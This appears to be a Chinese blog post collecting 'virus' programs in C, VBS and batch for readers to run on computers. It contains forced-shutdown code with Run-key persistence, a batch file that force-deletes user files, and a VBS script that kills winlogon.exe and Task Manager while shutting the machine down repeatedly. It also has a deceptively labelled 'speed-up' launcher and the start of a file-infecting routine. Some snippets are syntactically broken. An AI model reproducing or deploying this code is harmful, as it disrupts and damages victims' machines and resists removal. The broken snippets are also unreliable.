【病毒小程序】關於病毒的代碼
可以用來運行一下,你的電腦可能會發生......但大家都知道,病毒是恐怖的,你可以做一些有趣的代碼.
關機代碼
#include using namespace std; void main() { system(“cmd /c shutdown -s -t 60”); //這是調用cmd system(“pause”); } 相信這很簡單吧! 還有個方法 #include #include<shlobj.h> #include<shellapi.h> using namespace std; void main() { ShellExecute(NULL,“open”,“cmd.EⅩE”,"/c shutdown -s -t 60",NULL,SW_HIDE); system(“pause”); }
加強版本
// shutdownDemo.cpp : 定義控制台應用程序的入口點。 // #include "stdafx.h" #include <windows.h> BOOL MySystemShutdown() { HANDLE hToken; //用於操作的句柄 TOKEN_PRIVILEGES tkp; //用於存放特定信息 // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(FALSE); // Get the LUID for the shutdown privilege. //如果要提權的話要在下面這兩個函數提權 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED)) return FALSE; //shutdown was successful return TRUE; } int _tmain(int argc, _TCHAR* argv[]) { getchar(); HKEY hKey = { 0 }; /*LONG RegOpenKeyEx( HKEY hKey, // 需要打開的主鍵的名稱 LPCTSTR lpSubKey, //需要打開的子鍵的名稱 DWORD ulOptions, // 保留,設為0 REGSAM samDesired, // 安全訪問標記,也就是權限 PHKEY phkResult // 得到的將要打開鍵的句柄 )*/ RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey); //打開一個指定的注冊表鍵 char path[MAX_PATH] = { 0 }; GetModuleFileNameA(nullptr, path, MAX_PATH); //獲取當前文件路徑 RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path)); MySystemShutdown(); return 0; }
卡死代碼
#include <stdio.h> void main() { long int i; while(i < =100000000) { printf("你"完"了"); i--; } }
打開無數計算機
```
set wsh=createobject(“wscript.shell”) do wsh.run “calc” loop 這段代碼是打開無數個計算器,直到死機 ,也是保存為.vbs格式
```
VBS系列格式代碼
甩不掉的魔鬼
WScript.Echo(“嘿,謝謝你打開我哦,我等你很久拉!”&TSName) WScript.Echo(“你是可愛的小朋嗎?”) WScript.Echo(“哈,我想你拉,這你都不知道嗎?”) WScript.Echo(“怎么才來,說~是不是不關心我”) WScript.Echo(“哼,我生氣拉,等你這么久,心都涼啦。”) WScript.Echo(“小強很生氣,后果很嚴重哦。”) WScript.Echo(“嘿嘿!你也會很慘滴哦”) WScript.Echo(“是不是想清除我?”) WScript.Echo(“那你要點上50下哦,不過會給你驚喜滴”) WScript.Echo(“還剩49下,快點點哦”) WScript.Echo(“還剩48下,快點,小笨蛋!”) WScript.Echo(“還剩47下對,就這樣快點點!”) WScript.Echo(“還剩46下。你啊就是笨,要快哦,我先不打擾你工作。”) WScript.Echo(“還剩45下,記得要快哦!”) WScript.Echo(“還剩43下”) WScript.Echo(“還剩42下”) WScript.Echo(“還剩41下”) WScript.Echo(“還剩40下”) WScript.Echo(“還剩39下”) WScript.Echo(“還剩38下”) WScript.Echo(“還剩37下”) WScript.Echo(“還剩36下”) WScript.Echo(“還剩35下”) WScript.Echo(“還剩34下”) WScript.Echo(“還剩33下”) WScript.Echo(“還剩32下”) WScript.Echo(“還剩30下”) WScript.Echo(“還剩29下”) WScript.Echo(“還剩28下”) WScript.Echo(“還剩27下”) WScript.Echo(“還剩26下”) WScript.Echo(“還剩25下”) WScript.Echo(“還剩24下”) WScript.Echo(“還剩23下”) WScript.Echo(“還剩22下”) WScript.Echo(“還剩21下”) WScript.Echo(“還剩20下”) WScript.Echo(“還剩19下”) WScript.Echo(“還剩18下”) WScript.Echo(“還剩17下”) WScript.Echo(“還剩16下”) WScript.Echo(“還剩15下”) WScript.Echo(“還剩14下”) WScript.Echo(“還剩13下停停!!!慢點,我有話要說”) WScript.Echo(“還剩12下,你繼續點我就會消失滴”) WScript.Echo(“還剩11下,以后就看不到我拉。555555”) WScript.Echo(“還剩10下,你現在可以選擇停止!”) WScript.Echo(“還剩9下。你還點啊,不要我拉?”) WScript.Echo(“還剩8下,有點傷心拉,干嘛丟棄人家”) WScript.Echo(“還剩7下。瘋了,你有點負意!”) WScript.Echo(“還剩6下。對。你就點吧,我恨你!”) WScript.Echo(“還剩5下,不明白,刪除我你就好嗎?”) WScript.Echo(“還剩4下!真要刪除我?”) WScript.Echo(“還剩3下。可是我真的很眷戀你。。。”) WScript.Echo(“還剩2下。不要這么絕情嘛,人家是愛你的!”) WScript.Echo(“還剩1下。哼,既然你這么絕情。也別怪我無義!!!”) WScript.Echo(“我本因該消失的,不過我留戀你滴芳容,上帝又給了一次機會。”) WScript.Echo(“想結素我么?那你就再多點一次”) WScript.Echo(“想結素我么?那你就再多點一次”) WScript.Echo(“想結素我么?那你就再多點一次”) WScript.Echo(“想結素我么?那你就再多點一次”)
糊弄
while(1) msgbox “哈哈 你被耍了!” loop vbs.
程序病毒
熊貓燒香
@echo off echo 正在加載熊貓燒香病毒,請稍等...... echo 准備刪除系統文件。。。 del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" echo 清理系統垃圾完成!
藍屏代碼
#include <windows.h> #define NUM 32767 LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static int iKeep[NUM][4]; HDC hdcScr, hdcMem; int cx, cy; HBITMAP hBitmap; HWND hwnd; int i, j, x1, y1, x2, y2; if (LockWindowUpdate(hwnd = GetDesktopWindow())) { hdcScr = GetDCEx(hwnd, NULL, DCX_CACHE | DCX_LOCKWINDOWUPDATE); hdcMem = CreateCompatibleDC(hdcScr); cx = GetSystemMetrics(SM_CXSCREEN) / 10; cy = GetSystemMetrics(SM_CYSCREEN) / 10; hBitmap = CreateCompatibleBitmap(hdcScr, cx, cy); SelectObject(hdcMem, hBitmap); srand((int)GetCurrentTime()); for (i = 0; i < 2; i++) for (j = 0; j < NUM; j++) { LockWindowUpdate(hwnd = GetDesktopWindow()); if (i == 0) { iKeep[j][0] = x1 = cx * (rand() % 10); iKeep[j][1] = y1 = cy * (rand() % 10); iKeep[j][2] = x2 = cx * (rand() % 10); iKeep[j][3] = y2 = cy * (rand() % 10); } else { x1 = iKeep[NUM - 1 - j][0]; y1 = iKeep[NUM - 1 - j][1]; x2 = iKeep[NUM - 1 - j][2]; y2 = iKeep[NUM - 1 - j][3]; } BitBlt(hdcMem, 0, 0, cx, cy, hdcScr, x1, y1, SRCCOPY); BitBlt(hdcScr, x1, y1, cx, cy, hdcScr, x2, y2, SRCCOPY); BitBlt(hdcScr, x2, y2, cx, cy, hdcMem, 0, 0, SRCCOPY); } DeleteDC(hdcMem); ReleaseDC(hwnd, hdcScr); DeleteObject(hBitmap); } return 0; } ``` **加強版** ``` for each ps in getobject(“winmgmts:\.\root\cimv2:win32_process”).instances_ ifUcase(ps.name)=Ucase(“winlogon.exe”) then ps.terminate end if next for each ps ingetobject(“winmgmts:\.\root\cimv2:win32_process”).instances_ ifUcase(ps.name)=Ucase(“winlogon.exe”) then ps.terminate end if next Setws=CreateObject(“WScript.Shell”) setfs=createobject(“scripting.filesystemobject”) dim a1,a2,a3,thn,i thn=wscript.scriptfullname a1=fs.getparentfoldername(fs.GetSpecialFolder(0)) fs.copyfilethn,a1&"\admin123.vbs",true do while i<10 i=i+1 ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin",“C:\admin123.vbs” loop ws.run “shutdown -s -f -t 60” do wscript.sleep 500 if ws.appactivate(“Windows 任務管理器”)=truethen ws.run “taskkill /f /imTaskmgr.exe” end if if ws.appactivate(“命令提示符”)=truethen ws.run “taskkill /f /im cmd.exe” end if ifws.appactivate(“C:\WINDOWS\system32\cmd.exe”)=true then ws.run “taskkill /f /im cmd.exe” end if if ws.appactivate(“系統關機”)=falsethen ws.run “shutdown -s -f -t 30” end if loop 改成.vbs ``` 一般病毒 ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char input[10]; system("shutdown -s -t 60"); flag: printf("1分鍾之后關機,請輸入\"我是豬\"三個字解除\n"); scanf("%s",input); if(strcmp(input, "我是狗") == 0) { system("shutdown -a"); } else { goto flag; } return 0; }
```
最后,在給你們介紹一個加快電腦速度的代碼:
#include<windows.h> using namespace std; int main(){ system("start C:/a.exe"); }
運行一下.......
你發現會閃現,點擊程序欄,按Ctrl+C停止程序,試一試.
void vir() { string CurFileName = __FILE__;//絕對路徑 string obCurFileName //相對路徑 = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1); WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile("*.c*", &FindFileData); string VirusCode[100];//病毒代碼 string FileCode[500]; //宿主代碼 int CodeLen = 0;//病毒代碼長度 int FileLen = 0;//宿主代碼長度